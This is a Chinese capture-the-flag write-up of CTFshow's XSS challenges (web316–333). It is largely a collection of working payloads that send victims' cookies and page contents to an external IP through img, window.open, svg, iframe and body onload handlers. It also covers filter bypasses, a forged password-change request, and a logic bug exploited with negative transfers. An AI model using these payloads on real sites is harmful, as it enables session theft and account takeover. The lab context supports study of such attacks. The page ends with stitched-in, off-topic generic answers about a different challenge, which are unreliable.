CTFshow-WEB入门-XSS

前言

因为不太会javascript,所以对于xss的了解一直比较少,也不太会,这次做一下xss专题,学习一下xss。

web316

圣诞快乐,写下祝福语,生成链接,发送给朋友,可以领取十个鸡蛋!

意思是要生成链接,应该就还是获得管理员cookie这样的题目,大师傅们说题目的bot是每隔一段时间自动点击的。
可以利用xss平台:
XSS平台
以后我都用自己vps。

首先测试一下<script>alert(1)</script>,弹窗成功,第一题应该是没有任何的过滤,所以直接打cookie即可。

收集一下可用的姿势吧,首先是img:

<script>
var img=document.createElement("img"); img.src="http://118.31.168.198:39543/"+document.cookie;
</script>

直接创建img标签的话,比如这样<img src="http://xxx.xxx.xxx.xxx:39543/"+document.cookie />不行,这里识别不到document.cookie,套一层<script></script>也不行,看来想在script里面创建img的话只能这样了,还是不会js,太菜了。

不过利用外带的话还有其他的姿势,比如window.open:

<script>window.open('http://118.31.168.198:39543/'+document.cookie)</script>

此外也还可以这样

<script>window.location.href='http://118.31.168.198:39543/'+document.cookie</script>

不加window也可以:

<script>location.href='http://118.31.168.198:39543/'+document.cookie</script>

此外,input也可以,不过需要加上autofocus。:

<input onfocus="window.open('http://118.31.168.198:39543/'+document.cookie)" autofocus>

通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发

还有svg标签。

<svg onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

还有iframe标签:

<iframe onload="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe>

还有body标签:

<body onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

正常的vps那边是需要nc的,但是nc好像不能持续接收,但是方法其实很多,可以重复起nc,或者我这边就临时拿python起一个临时的服务器,接收一下get参数:

python3 -m http.server 39543

在这里插入图片描述

web317

好像过滤了script,上面的很多方法都可以用。

web318

过滤了img,上面的很多方法都可以用。

web319

同上

web320

把空格给过滤了,就拿%09的url解码得到的TAB来过滤。

<iframe	onload="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe>

web321

同上

web322

把iframe给过滤了,但是svg还可以用,用svg:

<svg	onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

body也可以:

<body	onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

此外,去查XSS的过滤,发现过滤了空格其实正规的绕法应该是拿/来绕:

<body/onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

web323

同上

web324

同上

web325

同上

web326

同上

web327

存储型XSS。首先就是poster必须是admin才能发送成功,其次就是XSS的触发点应该是sender和content都可以。直接用一下xss平台的payload就可以了。

web328

简单的看一下,逻辑大概就是注册用户名和密码,然后应该是存入数据库中,然后有一个用户管理页面,只有管理员可以查看,而且这个页面会把数据库中的用户名和密码回显出来,很容易猜到flag应该也在这里,所以还是拿admin的cookie,比较明显的存储型XSS。拿xss平台或者最简单的payload打就可以:

<script>window.open('http://118.31.168.198:39543/'+document.cookie)</script>

web329

还是按照同样的方式,得到了cookie,但是这题却不行了,说明直接拿到管理员的cookie也没法成功登录。y4师傅说是设置了cookie发给你后就让他失效,所以没法登录成admin。但是可以想到就是把那个页面的内容给读到,但是怎么读我太不会。。上网上查了一下,感觉很几种方法,首先是这样:

<script>window.open('http://118.31.168.198:39543/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

还有innerHTML和outerHTML的区别
1)innerHTML:
  从对象的起始位置到终止位置的全部内容,不包括Html标签。
2)outerHTML:
  除了包含innerHTML的全部内容外, 还包含对象标签本身。

此外还有y4师傅这样的:

var img = new Image();
img.src = "http://your-domain/cookie.php?cookie="+document.querySelector('#top > div.layui-container > div    :nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;//问了师傅才知道这个标签是可以通过浏览器找到的,ttttqqqqll
document.body.append(img);

是写到了自己的vps上面。

web330

发现了新增加了修改密码的功能,莫名警觉。但是按照之前的那样读发现读到的是******。本来想着是javascript让管理员去访问修改密码的那个页面,实现修改管理员的密码,但是好像我并没有成功。无奈看了一下yq1ng师傅的方式,类似于这样:

<script>window.open('http://118.31.168.198:39543/'+document.querySelector('#top > div.layui-container').textContent)</script>

原因是管理员的密码是在这个页面的其他位置,所以按照之前的找那个表格中的内容是找不到的。不得不说还是querySelector好用,可能还是我不会javascript的原因,对于getElementsByClassName的理解很浅,比如这样

<script>window.open('http://118.31.168.198:39543/'+document.getElementsByClassName('layui-container')[0].outerHTML)</script>

他似乎不能递归的寻找?所以感觉并没有querySelector好用。

但是这样其实还是非预期,本题的预期应该就是去修改管理员的密码,但是似乎我这样并不行:

<script>window.open('http://e9dc0314-afc3-48a2-9578-ef76191ce6bb.chall.ctf.show:8080/api/change.php?p=1234567')</script>

但是发现这样就可以了:

<script>window.open('http://127.0.0.1/api/change.php?p=1234567')</script>

web331

这题修改密码的那里变成的post请求,我这里再window.open肯定不行了,去查一下javascript如何发送Http请求,发现方式还是挺多的,这里试试用XMLHttpRequest。

原型是这样:

var httpRequest = new XMLHttpRequest();//第一步:创建需要的对象
httpRequest.open('POST', 'url', true); //第二步:打开连接
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置请求头 注:post方式必须设置请求头(在建立连接后设置请求头)
httpRequest.send('name=teswe&ee=ef');//发送请求 将情头体写在send中
/**
 * 获取数据后的处理程序
 */
httpRequest.onreadystatechange = function () {//请求后的回调接口,可将请求成功后要执行的程序写在其中
    if (httpRequest.readyState == 4 && httpRequest.status == 200) {//验证请求是否发送成功
        var json = httpRequest.responseText;//获取到服务端返回的数据
        console.log(json);
    }
};

获取数据后的处理就不用管了,直接发送请求即可。

<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=1234567');</script>

web332

正常注册,发现转不了账,提示有内鬼,停止交易。好奇怪。然后用户名那里注册了xss:
<script>alert(1)</script>,
再去转账,发现能转了。。
试了一下逻辑漏洞,转账那里转负数钱:
在这里插入图片描述

在这里插入图片描述
可以得到flag。

web333

再给别人转转不了了,给自己转:
在这里插入图片描述

成功,而且金额会增加,开bp跑一下就可以了。

### 回答1: ctfshow-web-web红包题是一道CTF比赛中的网络安全题目。这道题目的背景是一个在线购物网站,要求我们通过安全漏洞来获得网站的红包。 首先,我们可以检查网站的源代码,寻找可能存在的漏洞。在网站的前端页面中,我们注意到了一个提交订单的功能,并且发现了其中一个参数可以被用户任意修改。这可能导致一个被称为SQL注入的漏洞。 我们试图通过在参数中插入恶意代码来进行SQL注入攻击。我们发现当我们输入`' or 1=1 -- `时,查询结果会返回所有订单记录,而不仅仅是当前用户的订单。这表明成功利用了SQL注入漏洞。 接下来,我们要尝试进一步利用这个漏洞来获取网站的红包。我们可以通过构建特制的SQL语句来绕过登录过程,直接获取红包的信息。 最终,我们成功地利用了网站存在的漏洞,获取到了红包的相关信息。这个过程展示了在网络安全竞赛中,如何通过分析代码和利用漏洞来实现攻击的目标。 在这个过程中,我们需要具备对SQL注入漏洞的理解和掌握,并且需要有一定的编程和网络安全知识。通过解决这样的题目,我们可以提高我们对网络安全攻防的认识和技能,以更好地保护网络安全。 ### 回答2: ctfshow-web-web红包题是一个CTF(Capture the Flag)比赛中的Web题目,目标是通过分析Web应用程序的漏洞来获取红包。CTF比赛是一种网络安全竞赛,在这种比赛中,参赛者需要通过解决各种不同类型的安全挑战来积分。 该题目中的Web应用程序可能存在一些漏洞,我们需要通过分析源代码、网络请求和服务器响应等信息来找到红包的位置和获取红包的方法。 首先,我们可以查看网页源代码,寻找可能的注入点、敏感信息或其他漏洞。同时,我们还可以使用开发者工具中的网络分析功能来查看浏览器和服务器之间的通信内容,找到可能存在的漏洞、密钥或其他敏感信息。 其次,我们可以进行输入测试,尝试不同的输入来检查是否存在注入漏洞、文件包含漏洞、路径遍历漏洞等。通过测试和观察响应结果,我们可以得到一些重要的信息和线索。 最后,我们可以分析服务器响应和错误信息,查找可能存在的网站配置错误、逻辑漏洞或其它任何可以利用的安全问题。此外,我们还可以使用常见的Web漏洞扫描工具,如Burp Suite、OWASP ZAP等,来辅助我们发现潜在的漏洞。 通过以上的分析和测试,我们有可能找到获取红包的方法。然而,具体的解题方法还需要根据题目中的具体情况来确定。在CTF比赛中,每个题目的设置都可能不同,解题的方法和思路也会有所差异。因此,在解题过程中,要保持敏锐的观察力和灵活的思维,尝试不同的方法和技巧,才能成功获取红包并完成任务。 ### 回答3: ctfshow-web-web红包题是一个CTF比赛中的网络题目,其目标是寻找并利用网页内的漏洞,获取红包。 首先,我们需要分析该网页的源代码,寻找可能存在的漏洞。可以通过审查元素、浏览器开发者工具等方式进行源代码分析。 其中,可能存在的漏洞包括但不限于: 1. 文件路径遍历漏洞:通过对URL的参数进行修改,尝试访问其他目录中的文件。 2. XSS漏洞:通过在用户输入的地方注入恶意代码,实现攻击者想要的操作。 3. SQL注入漏洞:通过修改数据库查询参数,获取未授权的数据。 4. 文件上传漏洞:上传恶意文件并执行。 一旦发现漏洞,我们需要进一步利用它们来获取红包。例如,如果存在文件路径遍历漏洞,我们可以尝试通过修改URL参数的方式,访问网站服务器上存放红包的文件目录,获取目录中的文件。 如果存在XSS漏洞,我们可以尝试在用户输入的地方注入一段JavaScript代码,以获取网页中的敏感信息或执行一些恶意操作,如窃取cookies。 如果存在SQL注入漏洞,我们可以尝试通过修改数据库查询参数,获取未授权的数据,如红包的具体位置或密码。 如果存在文件上传漏洞,我们可以尝试上传一个特殊设计的恶意文件,以执行任意命令或获取服务器上的文件。 综上所述,ctfshow-web-web红包题需要我们深入分析网页代码,发现可能存在的漏洞,并利用这些漏洞获取红包。这个过程需要我们对常见的漏洞类型有一定的了解,并具备相关的漏洞利用技术。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值